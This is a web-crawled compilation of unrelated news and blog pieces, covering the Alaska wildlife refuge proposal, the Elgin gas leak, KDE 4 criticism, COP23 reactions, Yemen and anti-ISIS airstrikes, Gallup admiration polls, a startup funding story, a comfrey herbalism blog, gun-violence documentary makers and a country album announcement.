“If the EU can’t pressure Pakistan, how is it possible for Greece to pressure Pakistan?” he asked.Image copyright Reuters Image caption About 2.8m hectares are currently managed as wilderness in the national wildlife refuge
President Barack Obama is to propose setting aside the majority of Alaska's national wildlife refuge as a wilderness area.
This would halt the possibility of fossil fuel exploration in the refuge's potentially oil-rich coastal plain.
The proposal drew an angry response from top state-elected officials.
Some 2.8 million hectares (7 million acres) of the refuge are managed as wilderness.
The new plans would see a further 4.8 million hectares (12.3 million acres) hectares set aside.
The Arctic National Wildlife Refuge's coastal plain has long been at the centre of a struggle between conservationists and advocates of greater energy exploration.
In a White House video, President Obama said he was seeking the designation "so that we can make sure that this amazing wonder is preserved for future generations".
The US Department of the Interior has also issued a plan that for the first time recommends the additional protections.
If Congress agrees, it would be the largest area set aside under the designation since the passage of the Wilderness Act in the 1960s, the agency said.
However, the proposal is likely to face stiff resistance in the Republican-controlled Congress.
"They've decided that today was the day that they were going to declare war on Alaska. Well, we are ready to engage," said Republican Senator Lisa Murkowski, who chairs the Senate energy committee.
Political leaders in Alaska have supported exploration and production within the coastal plain and have opposed attempts to further restrict development on federal lands, which comprise about two-thirds of the state.
The Republican congressional delegation, along with Alaska's new governor, Bill Walker, has sent out a joint statement branding the action "an unprecedented assault on Alaska".
Mr Walker told reporters in Anchorage that while he did not currently favour litigation, the state is reviewing its options.
He said the federal government was taking Alaska's economy away from it piece by piece.How much impact did the North Sea gas leak have on the environment?
While the Elgin North Sea natural gas leak that was plugged on Wednesday was a massive financial blow for its operator Total, it appears the incident had little impact on the environment in terms of global warming and local marine life.
The Department of Energy and Climate Change (Decc) says it estimates that during the 52-day leak, Elgin released the equivalent of 47,000 tonnes of carbon dioxide, or 18,000 tonnes more than would have been released during normal operations of the well.
The greenhouse gas impact was mitigated when Total was able to slow the leak of natural gas from 200,000 cubic metres a day at its start to around a third of that in mid April, and then down to 50,000 cubic metres by the time the well was stopped with heavy mud on 15 May.
A Decc spokesman said:
"The provisional total UK emissions of the basket of six greenhouse gases covered by the Kyoto protocol, including the offshore sector, during 2011 was 549.3m tonnes of carbon dioxide equivalent, or approximately 45.8m tonnes per month."
"The Elgin release therefore represents approximately 0.1% of the UK's monthly emissions total. Only considering the increase in emissions compared with the normal emissions from the platform the increase represents just 0.04% of the monthly emissions total, which is overall insignificant, although obviously undesirable."
Last month, Marine Scotland also indicated that the leak had little impact on marine life in the two-mile exclusion zone around the well. Neither the water nor fish in the area showed signs of hydrocarbon contamination.
The worst off could be Total, which may have lost around £93.6m (£1.8m a day) during the leak, though stock prices have increased since the company announced it had "killed" the leak.
WWF Scotland welcomed the news that Total had stopped the leak.
Dr Richard Dixon, director of WWF Scotland, said: "However, the fact it happened at all and that a potent greenhouse gas has been spewing out for nearly two months is deeply concerning. This is the second serious leak in the North Sea within the past two years and underlines the risks of the offshore oil industry even in the well-known waters around Scotland."
"We should be trying to give up our addiction to oil and gas, and not seeking it out in more difficult places with the risks to the environment that poses when things go wrong."456 · 114 comments
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This little interaction on r/music
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Barbaric, cruel and inhumane: Amole Gupte unveils the truth behind kids’ reality shows
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In a first, India gives Rs 3.2 crore aid to Philippines in fight against ISIS
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GST eats into restaurant business, sales down 25%
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War On Hindus In A Land Of Photocopied Condolences
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Do It Yourself: Gurugrammers take up job of fixing roads as agencies fail - Times of India
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In small-town India, book series helps gay men come out
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Uco Bank deducts additional charges for every debit entry in your passbook that exceeds 50 number of transaction per half year. [Made > 100 txns after demonetisation and this happened, they deducted Rs. 640!]
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As 7 Hindu Pilgrims Die, 164% Rise In Terror-Related Civilian Deaths in J&K Over A YearAfter the recent release KDE 4.1 beta 2 and openSUSE 11 with KDE 4.0.4, some critics have been especially vocal in expressing their displeasure with the KDE 4 user interface paradigms. The debate has grown increasingly caustic as critics and supporters engage in a war of words over the technology. The controversy has escalated to the point where some users are now advocating a fork in order to move forward the old KDE 3.5 UI paradigms. As an observer who has closely studied each new release of KDE 4, I'm convinced that the fork rhetoric is an absurdly unproductive direction for this debate.
For those who are unacquainted with the KDE 4 controversy, I'll start with a brief background overview. KDE 4.0 is the product of an extremely ambitious overhaul initiative that was launched by the KDE community. The desktop environment got its most extensive update in history with changes that impacted the underlying architecture, the development process, and the user interface. It was finally released in January in a very incomplete and marginally usable state. The developers claimed that the premature release was necessary in order to increase momentum and facilitate broader end-user testing. The 4.1 release, they said, was the one that would be ready for mainstream adoption. This decision was extremely controversial and has created uncertainty for many users who depend on the software.
A rough migration
As KDE 4 begins to replace the stable 3.5.x series as the default KDE environment in major distributions, users who are now migrating to the new version are being exposed to a lot of the rough edges. This has ignited a new wave of complaints much like those we saw shortly after the initial launch. One of the most recent critics is Steven J. Vaughan-Nichols, former senior editor at Ziff Davis, longtime Linux writer and KDE user.
He wrote a negative review of KDE 4.0.4 on openSUSE 11 last week and complained about some of the deficiencies. I was a bit surprised by his review, because I happen to really like openSUSE 11, and I think it provides a reasonably polished KDE experience that beats other distros, but I did see merit in some of his criticisms, and I could definitely sympathize with his position. It frustrated me to see the vicious backlash against his commentary from some KDE enthusiasts who seem to have no patience for negative opinions.
Although I can't reproduce most of the stability problems he complains about, his frustration with the environment is understandable. KDE 4.0.4 is still relatively incomplete and there are a lot of nice goodies in the latest 4.1 beta that offer a much better experience. Several readers encouraged him to take a look. He was apparently so disappointed with what he saw that he is now calling for a fork. His initial critique could have been the starting point for some meaningful open dialog about interface design and the technical direction of KDE 4, but bitterness on both sides has made that difficult.
Delivering on KDE 4's potential
Steven singles out KDE 4.1's desktop folder view plasmoid for criticism, but I regard it as one of the most promising features in KDE 4.1. In fact, I think the new desktop folder view offers some of the first truly compelling evidence that Plasma can deliver on its potential and provide more than just a conventional widget layer. I think it's innovative and it increases the efficiency of my workflow.
The value of conventional desktop icons is that they allow users to organize their files into spatially relevant groupings. But most users just treat the desktop as a dumping ground for temporary content because moving things to and from the desktop requires more interaction and isn't always feasible if you need your project to have a consistent path. The KDE 4.1 folder view is a plasmoid that contains the icons of a specified folder. Users can place folder view plasmoids on the desktop and interact with the contents just like regular KDE 3.5.x desktop icons. The beauty of the system is that it gives you all the advantages of a conventional desktop but allows for simultaneous access to files that are in multiple locations.
In response to my review of the last KDE 4.1 beta, several readers asked for some clarification about how Plasma windows are different from conventional windows. The benefits aren't immediately obvious to some users, but I find the Plasma model to be advantageous in many ways. Say that I have three folder-view plasmoids open on my desktop with the source code of various parts of a program I'm writing. If I was using a file manager instead, that would be three extra windows to rotate through when I'm using alt+tab. It would be three extra windows cluttering up my task list. It would be three extra windows that I have to move and manage when I need to get to something else. Plasmoids don't get in the way like that, they just cling to the desktop and pop to the top when I activate the plasma layer. It's very clean and efficient in a lot of ways.
There are also downsides, too. For instance, the mechanism for resizing plasmoids still feels cumbersome to me compared to regular windows, and there is no way to remove plasmoids directly with the keyboard. These issues, and other problems that still detract from Plasma's usefulness, are all fixable. This is why I think that the call for a fork is deeply misguided. The most egregious problems that made Plasma suck in 4.0 have all been addressed. The lack of panel configurability was one of my biggest initial complaints, for instance, but the new panel configuration system is usable and clever. The current solutions aren't perfect, but they demonstrate that Plasma is viable and has the potential to offer superior alternatives to the KDE 3.5 model in many places.
The single greatest strength of Plasma is the inherent mutability that it brings to the desktop. It provides a very flexible framework within which the developers can experiment with completely different paradigms for basic components of the user interface. That is why a fork is a profoundly misguided option at this stage. If Steven and other critics don't like the way it works, they can leverage Plasma to create something that they do like, and it would be easier and more productive to do that than it would be to maintain a complete fork of KDE 3.5.x.
KDE 4.1 doesn't force users to accept the new interface models. Users who prefer a conventional desktop can simply use one folder view plasmoid and make it fill the screen. Users who don't like the new file manager can still use the old one, which recently regained some of the useful features that were initially lost in the port to 4.0. I personally don't particularly like the new KDE 4 applications menu, but I can still happily use the old one, which is included as an optional plasmoid. Many of the complaints at this point are emotional rather than rational.
I have used both GNOME and KDE extensively over the years, but have been mostly committed to GNOME in recent times. When KDE 4.0 was first released, I was extremely skeptical about Plasma. I saw a lot of innovation under the surface, but didn't see anything at all to impress me in the parts that were visible to the end user. The work that has been done in the time since the 4.0 release is very compelling and has completely convinced me that the strength of Plasma's underlying architecture can be translated into very real and tangible improvements to the end user experience.
Although KDE 4.1 is gearing up to deliver a very strong user experience, the negative impression left by the clumsy 4.0 release will turn off a lot of users like Steven and prevent them from giving 4.1 a fair chance. That's the biggest tragedy of this whole debacle. The 4.0 release was accompanied by a mixed message that was poorly conveyed and poorly received. The developers said that it wasn't ready for users while simultaneously defending the early release by saying that they did it so they could entice regular users to participate in broader testing. A bad release burns a lot of trust and makes it hard for users to give developers the benefit of the doubt.
I encourage users to look beneath the surface and try to understand how the emerging features fit into the long-term roadmap. There is a lot to like in KDE 4.1 if you are willing to approach it with an open mind and not simply dismiss it because it's different.Talks lay key groundwork to a ramp-up in action to curb climate change - but take little direct action on growing losses to disasters
BONN, Germany, Nov 18 (Thomson Reuters Foundation) - U.N. climate negotiations in Bonn, aimed at laying the groundwork for faster action to curb climate change and deal with its impacts, ended in the early hours of Saturday morning with solid progress on key issues, including preparations for ramping up carbon cuts.
Negotiators also opted to give women, indigenous people and agricultural concerns a bigger role in efforts to fight climate change.
But after a year of rising losses from wild weather around the world, there was limited progress at the gathering - led by Fiji - on two other top concerns of poor nations: finance for climate action and help with growing losses.
Negotiators left still unclear how richer countries will mobilise a promised $100 billion a year by 2020 to help poorer nations develop cleanly and become more resilient to climate change.
And developed country officials refused to look at innovative taxes or other ways to help poor countries pay for growing losses from climate disasters, offering instead insurance options.
Here are some views from government officials and climate experts on the outcomes of the talks:
JAMIE HENN, STRATEGY AND COMMUNICATIONS DIRECTOR, 350.ORG
"Trump tried to derail these talks by pulling the United States out of the Paris Agreement, but COP23, under the Fijian presidency, has put the process firmly back on the tracks bringing into sharp focus the climate urgency the planet is experiencing.
"Now it's all about speed. More ambition will never come from inside the climate talks, it has to come from the streets. Our job is to get out there and demand the fossil-free world that science and justice demand."
JOSE SARNEY FILHO, BRAZIL'S MINISTER OF THE ENVIRONMENT
"We expect that developed countries will heed our call to stay true to the Paris Agreement on financing issues, after some initial resistance in Bonn. A rock-solid commitment to the financing measures agreed in Paris will be vital for developing countries to play their full part in meeting our collective 2030 goals.
"More ambitious collective goals will be needed in the future to place us in a 2 degree towards 1.5 degree (Celsius) trajectory. A bold long-term strategy will be necessary to achieve long-term low greenhouse gas emission development strategies."
GEBRU JEMBER ENDALEW, CHAIR, LEAST DEVELOPED COUNTRIES (LDC) GROUP
"The least developed countries welcome progress that has been made here at COP23, including the adoption of the Gender Action Plan and the Indigenous Peoples' and Local Communities' Platform.
"It is essential that we amplify marginalised voices and recognise the disproportionate impact of climate change on women and indigenous communities around the world.
"The LDC Group thanks Germany, Sweden and Belgium for the contributions to the Adaptation Fund and Least Developed Countries Fund. We hope to see other countries following suit and rapidly accelerating their finance pledges to meet the scale of support needed by developing countries to fill the ever-widening finance gap."
PAULA CABALLERO, GLOBAL DIRECTOR OF CLIMATE PROGRAM, WORLD RESOURCES INSTITUTE
"The Bonn climate talks put substance over style. Negotiators made steady progress on important details of the Paris Agreement and laid the groundwork for greater acceleration next year.
"An appeal for developed countries to ramp up their climate efforts before 2020 became an unexpectedly prominent topic at the talks. Delegates reached common ground by agreeing to form special stocktaking sessions to review progress towards curbing emissions and delivering on climate finance in the immediate term."
MOHAMED ADOW, INTERNATIONAL CLIMATE LEAD, CHRISTIAN AID
"Everyone knows the Paris Agreement pledges alone are not enough to combat climate change – they only get us to a world of 3 degrees (of warming).
"The ratchet mechanism that made the Paris Agreement not just a static document but a living thing that strengthens itself over time, now has a name: The Talanoa Dialogue. That mechanism has now been switched on."
LAURENCE TUBIANA, CEO, EUROPEAN CLIMATE FOUNDATION
"There really is no time to lose; we have been painfully reminded of the urgency to scale up our collective climate action by the devastating climate impacts across the world this year.
"But the continued commitment to climate ambition in the real economy, for instance by the U.S. non-state actor coalition We Are Still In, has shown that we can overcome the challenges we encounter on this journey".
MANUEL PULGAR-VIDAL, HEAD OF GLOBAL CLIMATE AND ENERGY PROGRAMME, WWF
"In a year marked by extreme weather disasters and potentially the first increase in carbon emissions in four years, the paradox between what we are doing and need to be delivering is clear: countries must act with greater climate ambition, and soon, to put us on a path to a 1.5 degree Celsius future."
HARJEET SINGH, LEAD ON CLIMATE CHANGE POLICY, ACTIONAID INTERNATIONAL
"With the talks presided over by Fiji, a small island state, the challenges faced by climate-impacted countries took centre stage. But even though vulnerable communities were in the spotlight, this still hasn't translated into the support that they need. It seems that the world is not yet ready to offer hope to people facing the impacts of climate change."
ANDREW NORTON, DIRECTOR, INTERNATIONAL INSTITUTE FOR ENVIRONMENT AND DEVELOPMENT
"It is significant that this meeting recognised for the first time the crucial role that women (and) girls as well as local communities and indigenous peoples have in driving solutions to tackling climate change.
"But to meet the urgency facing people on the frontline, particularly in developing countries, these talks needed to deliver more... Donors need to agree a process for indicating how much money they will commit in the future so vulnerable countries can plan the action needed to keep their people safe."
RAIJELI NICOLE, PACIFIC DIRECTOR, OXFAM
"For the most part, rich countries showed up to Bonn empty-handed. Instead, we got a tepid agreement that they'll report back next year on progress towards their $100 billion (a year in climate finance by 2020) promise. President Macron's international climate summit next month in Paris will offer another moment for countries to unveil new financial pledges."
MONICA ARAYA, EXECUTIVE DIRECTOR, NIVELA (COSTA RICA)
"Latin America has much to gain in a world powered by renewable energy and resilient to climate impacts. Progress is happening, but some governments are still being pressured by fossil fuel interests to scale up investments in this sector.
"There is an urgent need between now and 2020 for energy, finance and public health ministries, as well as private sectors in Latin America, to switch from a'more oil and gas' to a 'Let's take the Paris Agreement seriously' mindset."
VITUMBIKO CHINOKO, ADVOCACY COORDINATOR FOR SOUTHERN AFRICA, CARE INTERNATIONAL
"After years of seeing parties at the U.N. climate change talks struggle to agree, CARE welcomes the positive outcome in agriculture. We are particularly pleased that parties will focus on food security and social dynamics and move the agriculture agenda to implementation.
"Countries in southern Africa are already acting, and the COP decision (on agriculture) is a critical opportunity to help scale up approaches that tackle climate change and increase the resilience of food producers and women."
PATRICIA ESPINOSA, EXECUTIVE SECRETARY, U.N. CLIMATE CHANGE SECRETARIAT (UNFCCC)
"We know from experience that putting women at the heart of tackling climate change can result in more impactful, equitable and sustainable actions. The Gender Action Plan is designed to do just that.
"It highlights and supports the role women can and do play in building resilience and adapting to the impacts of climate change. It focuses global attention on how we can turn words into deeds."
YEB SAÑO, SOUTHEAST ASIA EXECUTIVE DIRECTOR, GREENPEACE
"The voices from the climate frontlines have spoken in the Pacific COP. But how much have those who are historically most accountable for climate change listened?
"Those least responsible for climate change are suffering the worst impacts and this great injustice must be addressed. Governments and corporations must urgently change their policies and practices to avert climate-related human rights harms."
MAARTEN VAN AALST, DIRECTOR, RED CROSS RED CRESCENT CLIMATE CENTRE
"At this COP, we saw exciting new partnerships to build resilience are emerging between governments, multilaterals, the private sector, civil society and local communities.
"Ministers, CEOs of the biggest investors and insurance companies, but also mayors, Red Cross leaders and local voices, gather around one message: We need to scale up investment in climate resilience, from millions to billions and even trillions of dollars. The deadly and costly toll of the recent disasters shows that we have to do better."
(Reporting by Megan Rowling and Laurie Goering; editing by Laurie Goering. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, climate change, resilience, women's rights, trafficking and property rights. Visit http://news.trust.org/climate)
Our Standards: The Thomson Reuters Trust Principles.SANAA, March 2 (Xinhua) -- Yemen's former President Ali Abdullah Saleh, who is the main ally with Shiite Houthi rebels, called the Yemeni army on Thursday to join Houthi fighters in border fighting against Saudi forces.
The call, which was aired by Houthi-controlled state media, signaled Yemen's further escalating military tension with neighboring Saudi Arabia, which led a military coalition of mostly Arab countries in support to exiled Yemeni President Abd-Rabbu Mansour Hadi against Houthi rebels.
"I call the defense ministry to mobilize armed forces to front lines to reinforce popular forces (Houthis) in border battlefronts against Saudi forces," Saleh said in a speech in a meeting with senior leaders of his former ruling party, the General People's Congress.
The defense ministry has been under Houthi control since Houthis seized the capital Sanaa in September 2014.
However, the Yemeni national army has stayed neutral since then and also remained neutral after Houthis ousted internationally recognized President Hadi and forced him along with his government into exile.
In his speech, Saleh also renewed his call to not conduct further peace talks with exiled President Hadi and his government, describing them as "mercenaries."
The move clearly indicates further military escalation, particularly after repeated rounds of peace talks mediated by the United Nations have failed.
Saleh's move came as battles on the border intensified over the past days, in which Saudi military forces have been trying to advance into the Yemeni northern province of Saada, the main stronghold of Houthi group and its religious leader Abdul Malik al-Houthi.
Saudi-led coalition also mobilized forces and fighters loyal to Hadi's government off Red Sea port cities of neighbouring Hodeidah and Mokha in a bid to set siege on capital Sanaa, the second stronghold of Houthis and Saleh loyalists.
Saleh was forced out of power in 2012, following a year of popular protests, led by Muslim Brotherhood, which later allied with President Hadi.
Houthi fighters, who seized control of north Yemen, have been fighting Saudi Arabia on borders since the Saudi-led military coalition intervened in the Yemeni conflict in March 2015 via an air and ground campaign.
The campaign is attempting to restore power to expelled President Abd-Rabbu Mansour Hadi. More than 10,000 Yemenis have been killed, with over three million displaced.Col. Daniel Constable, the commander of Canada's joint task force fighting against ISIS in Iraq, says his aircraft are finding few targets to strike.
Speaking from the Canadian base in Kuwait, Constable said that the aircraft under his command have carried out only two airstrikes in 68 sorties flown.
a Polaris refuelling aircraft, since their arrival in Kuwait on Oct. 30. A Canadian Forces CF-18 fighter in Kuwait taxis in preparation for takeoff on a morning mission over Iraq during Operation Impact on Sunday. (Canadian Forces Combat Camera) Those sorties include all flights by Canadian Forces, including six CF-18 strike aircraft, two Aurora reconnaissance planes andrefuelling aircraft, since their
Constable briefed the media by teleconference Thursday, following Tuesday's airstrike against an apparent artillery installation north of Baghdad belonging to fighters from the Islamic State of Iraq and Syria, also known as ISIS or ISIL.
He said the latest strike was on an artillery piece that was firing on Iraqi ground forces from a treeline near Bayji, Iraq.
Bayji is a city about 200 kilometres north of Baghdad that has seen fierce fighting between ISIS forces and the Iraqi army.
Moving target
Constable said the target, which may have been a howitzer, was destroyed by a laser-guided bomb, and there was some indication the ISIS gun crew may have also been killed, but that could not be confirmed.
ISIS fighters were the only ones operating in the area, he said.
He also did not say who called in the airstrike, although one of Canada's Auroras was in the area.
Cockpit video first posted on the Canadian Forces website shows a strike by a laser-guided bomb on a vehicle that appears to be towing a piece of wheeled artillery.
Capt. Melina Archambault of the Combined Joint Operations Centre told CBC News later Thursday that the gun had been hooked on to the vehicle between the time it was first detected by aerial surveillance and the time the CF-18 arrived.
On the video, the vehicle appears to sustain an almost direct hit while travelling on a dirt road between fields. Capt. Archambault could not specify the type of vehicle destroyed.
ISIS 'changing their tactics'
The slow tempo of airstrikes is a reflection of ISIS changing tactics since the current bombing campaign began, said Constable.
"ISIL are now changing their tactics, they're hiding their targets, and that's one of the reasons it's harder to find targets — they're camouflaged."
Forces sometimes hide armoured vehicles in buildings, or even bury them in sand, when the other side enjoys air superiority.
A Canadian Forces CP-140M Aurora long-range patrol aircraft in Kuwait prepares for a mission on Saturday. (Canadian Forces Combat Camera)
"They're moving away from tanks, into civilian-type vehicles," said Constable, adding that the change makes targeting more difficult, because "we want to be very deliberate. We are very confident we had no civilian casualties or collateral damage in either strike."
Constable added that the lack of airstrikes is not an indication that the airstrikes aren't working. Forcing the enemy to hide weapons it was previously using offensively constitutes progress, he said.
"Thanks to the airstrikes, Iraqi forces now have the confidence to move to offence. ISIL is now in a defensive posture. We are very confident that we are having an impact."
By the numbers
Canadian forces have taken part in 68 sorties in support of the coalition mission against ISIS. Here's a breakdown:
CF-18 Hornet fighters have conducted 46 sorties, firing munitions in two of those.
CC-150T Polaris aerial refueller conducted 10 sorties, delivering some 418,000 pounds of fuel to coalition aircraft.
CP-140 Aurora aircraft conducted 12 reconnaissance missions.
Source: Department of National Defence
Constable added that the two Canadian Auroras and the Polaris have helped other coalition aircraft with both refuelling and aerial surveillance and intelligence gathering.
Constable was asked whether ISIS was simply waiting the coalition out, and would emerge with its armour and heavy equipment intact once Western countries end their operations. He said that strategy would not be successful.
"If they are thinking about waiting us out, they're allowing us to do exactly what we want to do, which is to continue to degrade and disrupt them, and that buys time for the Iraqi forces to transition to offensive operations."
Mobile users, view a map of the air strike location here.Nor is it true that Gallup merely measures celebrity, since athletes and Hollywood icons are largely absent. Looking at the winners across the decades, the most common denominator is power. Indeed, the only female winners not in close proximity to political power are Mother Theresa in the 1980s and 1990s and Elizabeth Kenny, an Australian nurse who gained fame treating polio, in 1951.
The men tell a similar story. Presidents almost always win. When they’re deemed weak or unpopular, the public anoints another strong political figure: Douglas MacArthur supplants Harry Truman in 1946 and 1947; Dwight Eisenhower tops Lyndon Johnson in 1967 and 1968; Henry Kissinger replaces Richard Nixon between 1973 and 1975. Even the religious figures who do best are the ones closest to power. Although he never wins, the Reverend Billy Graham—famous for pastoring to presidents—makes the top-10 list more than other man between 1948 and 2005. The other highest-scoring religious figures are popes. Missing are any of the clergy, like William Sloane Coffin or Daniel Berrigan, who made their names fighting the Vietnam War.
In fact, activists protesting injustice rarely rank highly. That includes Martin Luther King. He doesn’t make America’s top 10 most admired men in 1963, the year of the March on Washington. King comes fourth in 1964 and sixth in 1965 but then falls out of the top ten again in 1966 and 1967. The same is true for Nelson Mandela. By the mid-1980s, the global anti-apartheid movement had made Mandela a household name. But as far as I can tell, he doesn’t crack Gallup’s top-10 list until he is elected South Africa’s president in 1994. (To be fair, I was only able to check 1983, 1984, 1986, 1987, and 1992. For 1993, I could only find the top five.) After 1994, Mandela becomes a top-10 regular. But by then, the Cold War is over, the controversy surrounding his communist sympathies has evaporated, and he’s become safe.
So should political insurgents and social activists abandon hope of gaining much public esteem? Not exactly. In 1999, when Gallup asked Americans to rank the figures they admired most not for that year, but for the entire 20th century, the answers looked very different. Only one president—John F. Kennedy—made the top five. The other top four spots went to King, Mother Theresa, Albert Einstein, and Helen Keller.
Turns out Americans admire the powerful when they’re alive. They start appreciating the critics, healers, and troublemakers once they’re dead.
We want to hear what you think about this article. Submit a letter to the editor or write to [email protected] the coattails of a ‘small pieces, loosely joined’ approach to the enterprise, Belgium startup PieSync offers a platform that connects a plethora of cloud applications and syncs contacts stored in those apps two-way. That’s no mean feat considering the risk of data corruption or overwriting an important contact’s information, which is why, says PieSync, companies are warming to the company’s proposition.
VCs appear to like the product, too, seeing PieSync raise $1.6 million in new funding. The round is being led by Ark Angels Activator Fund and SOFI (PMV). The startup had previous raised a small amount of angel funding as well as going through the Belgian incubator iMind.
“The SaaS space is fragmenting: there are thousands of SaaS applications out there, and a typical SME deploys on average 7-8 different apps. That’s creating a lot of problems to keep data consistent between those different apps,” says PieSync co-founder and CEO Ewout Meyns.
“Also, it’s not easy for individual SaaS companies to solve syncing. It’s technically hard to do it right, and the solution needs to be able to cope with many different data structures and changing API’s, detect changes, match similar contacts (to prevent duplicates), and merge information”.
Meyns concedes, however, that other companies are tackling the same problem, but reckons none are going as far and wide as PieSync. “A lot of SaaS offer integrations with a handful of other SaaS platforms, but no SaaS is interested in offering integrations with hundreds of sometimes overlapping solutions. That makes syncing a perfect pain to solve,” he says.
To that end, PieSync says it’s built technology that allows it to quickly add new platforms with very different data structures, enabling all of the SaaS offerings it supports to talk to one another. “We can add a new solution in a day or two,” says Meyns.
PieSync already supports syncing with 16 apps including Podio, Pipedrive, Mailchimp, Google Contacts, Nimble, OnePageCRM, and SalesForce, to name a few. It says it’s adding more apps each month.
The startup, which charges a monthly subscription for the service, says its typical customers are teams that use multiple cloud applications, but who are struggling to keep contact data synchronised between, for example, a sales platform like SalesForce, a marketing platform like Mailchimp, and contacts stored in an individual’s work Gmail.Happy Mother’s Day, everyone! I offer that greeting to all females, because we are blessed with the mothering ‘gene’ from the earliest age, so I honor every female on this day. Today I’m going a little off-topic, and honoring a plant that I regard as the most mothering, comforting, healing plant: comfrey, aka Symphytum officinale in the botanical world. Please feel free to ask your perfumery questions, that’s the purpose of this forum, and I’d love you to take you on a little side trip to my other love, herbalism (and aromatherapy, too).
I started to reconnect with comfrey and my decades of herbal study a few weeks ago when I attended a comfrey salve workshop at the local urban farm Earth N Us given by Julia Onnie-Hay of Bless Botanicals. I went home with a jar of salve we made that day, and it came in handy yesterday. Let me give a little backstory.
My intuition told me it was time to reconnect with herbalists, they’re always lovely people, and I felt I had neglected my herbalism for too long. Then, Julia’s workshop popped up, and I loved it. Well, yesterday, against my inner voice, I decided to go to several yard sales. It was hot, steamy, and despite my inner voice, I went. And I fell, and hurt both knees and sprained a big toe. My knees started swelling before I made it back to my car. At home, I immediately started putting Julia’s salve on my injured parts, and also some of a great herbal/aromatherapy pain relief oil I make.
I did the RICE routine without the C (compression): rest, ice and elevation. Started around noon, kept it up until bedtime. I dug out some dried comfrey root pieces from my apothecary stash, poured hot water over them, blended them, and started to make poultices. Luckily, I had a lot of 4×4″ gauze bandages left from when my mother was living with me (mothers day bonus!) and gauze tape, and I rubbed some salve on, sprinkled some of my pain relief oil on the root smush on the gauze pads, and taped them on. Hobbled back and forth to the freezer for the ice packs, and just chilled, thinking about the lessons in listening to “inner voices” can bring.
I don’t regret the fall: it taught me a big lesson! I’ve been soured
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walking into the convention. Some shied away from the camera but no one was confrontational. I talked to 15 people on camera in four hours. They said: “You’re probably not going to like what I have to say”, but while many did not want to regulate assault weapons or the size of clips, 13 of the 15 were absolutely for background checks. Yes, there are trolls out there doing crazy things for the NRA but there are normal people in the NRA too. It’s the leadership that are all lobbyists on behalf of the gun manufacturers and ammunition people.
Kim Snyder, Newtown: ‘It was hard to do this without going over the line or feeling prurient’
A lot of the process was collaborative, it was about the survivors bearing witness. We felt an exploration together could be a catharsis. We had many off-camera conversations first. I was not interested in having someone re-traumatized. I would get on phone with trauma experts to ask: “Should I be concerned?” about certain topics. It was never: “Let’s just go there and see how this goes.”
Facebook Twitter Pinterest Kim Snyder. Photograph: Miroslava Palavicini
It was hard to do this without going over the line or feeling prurient. We let them lead us. When Nicole Hockley took us to see the where the shooter’s house had been it was shocking. But it was something she needed to do. The film was therapeutic in a way for certain people. With the older siblings of the victims I trusted the parents to decide but I didn’t want those kids to feel mute. Making this film was incredibly difficult. We did not keep up emotional barriers and over the years we became friends with these people, so the interviews and the editing became more painful.
Stephanie Soechtig, Under the Gun: ‘I always note where the nearest exit is in movie theaters’
On my way to Newtown, I had a full panic attack. I had to pull my car over and take half a Xanax. I was caught off guard by the anxiety. Typically you build a wall and turn off your emotions to do your job; I was blindsided by it. It was incredibly difficult, but I felt ashamed and embarrassed because look at what the families went through. I spent 18 months fully immersed in this, living through every parent’s worst nightmare over and over and over again. It is secondary PTSD but to say that feels so self-indulgent. I became hypervigilant and borderline paranoid whenever my son left the house. I always note where the nearest exit is in movie theaters.
Gun nation: a journey to the heart of America's gun culture – video Read more
You sit with the parents and ask these questions that are excruciating. You feel bad making them relive this and you have to be mindful that you are not exploiting their story but also you need to cover all the ground. You wonder how much you can ask. With Aurora and the footage, we pushed the envelope a little bit. I feel we gloss over it too much. There are so many things you are weighing, for the audience and the families. I was so stressed out about making it respectful but effective. It’s an intricate dance.
AJ Schnack, Speaking Is Difficult: ‘It’s hard to wrap your brain around the fact that there’s no end in sight’
Facebook Twitter Pinterest AJ Schnack. Photograph: Jarred Alterman
'Our moment to go on offense': NRA makes big plans for Trump presidency Read more
We decided to go back to 2011 because our researchers showed something changed then with the frequency of mass shootings. And we ended it with Tuscon and Gabrielle Giffords because the question is always: “Why doesn’t Congress act?” and you thought they would do something when one of their own gets shot and still nothing could be done. It was wrenching listening to those calls. Some are an hour or longer; it becomes beyond difficult to listen. In some we had to dial it back for the viewer. At the Sikh temple in Wisconsin … when the caller stops and you hear the gun shots, that was one of the most difficult. But the next one was Aurora and we needed to give people a little break at least so we started just with the report coming in. We’ve committed to update the film and added the shootings in Dallas and Orlando. But we wait for a critical mass and then update it. We cannot do it every time or it would drive us crazy. I’m never numb to these shootings but it’s a gut-wrenching feeling knowing we’ll never be able to catch up. It’s hard to wrap your brain around the fact that there’s no end in sight.
Robert Greenwald, Making a Killing: Guns, Greed and the NRA: ‘My grief and pain turned to real rage’
I did not anticipate what living with these completely unnecessary deaths would be like. The stronger I saw the monetary connection with the NRA, the more my grief and pain turned to real rage. People advised me not to do the film, saying the NRA are bullies and would threaten us or sue us. They did not take an official position, using the philosophy “don’t give too much attention to your enemies”, but at some screenings NRA supporters would show up and be hostile and threatening. In Los Angeles they went online to try to fill all the seats with NRA supporters. During the interviews I would make sure to get out from behind the camera, to physically be as close as I could, to be in the same physical and emotional space to allow them to have the most emotional experience. So I found myself in tears during the interviews.
Tim Sutton, Dark Night: ‘There was a conscious decision to never let the audience off the hook’
In a social issue documentary you can’t use the same cinematic language. My movie is fiction so you can craft the story. The dread it induces is meant to be palpable and never let go, with no catharsis at the end. There was a conscious decision to never let the audience off the hook. But I felt it too. Going into the editing room every day and trying to make it so hard to watch created a relentless darkness to wade through. What was worse was that two more mass shootings happened while we were editing. I felt like I was in the eye of a storm. That’s why we added the news report from [Aurora killer] James Holmes’s trial and the audio of the mass shooting at the movie theater in Lafayette, to say that this is not Aurora, this is constantly happening, this is a living document. The second screening at Sundance was in the exact same kind of movie theater we used for our shooting. It was the most harrowing experience you could possibly have. You walk out of there and you are thankful you are alive.Luke Bryan performs at the CMT Music Awards at Bridgestone Arena on Wednesday, June 10, 2015, in Nashville. (Photo11: Wade Payne, Invision/AP)
Update: An earlier version of this story incorrectly listed the number of tracks Luke Bryan wrote for the album. He co-wrote six tracks for the standard edition, plus three for the Target deluxe edition.
Country superstar Luke Bryan has revealed the track list for his new album, Kill the Lights, and it will include a duet with Little Big Town's Karen Fairchild. The duet, Home Alone Tonight, will be one of 13 tracks on Bryan's fifth studio album, due Aug. 7.
Kill the Lights leads with Bryan's current single, Kick the Dust Up. Bryan had a hand in writing six of the 13 songs.
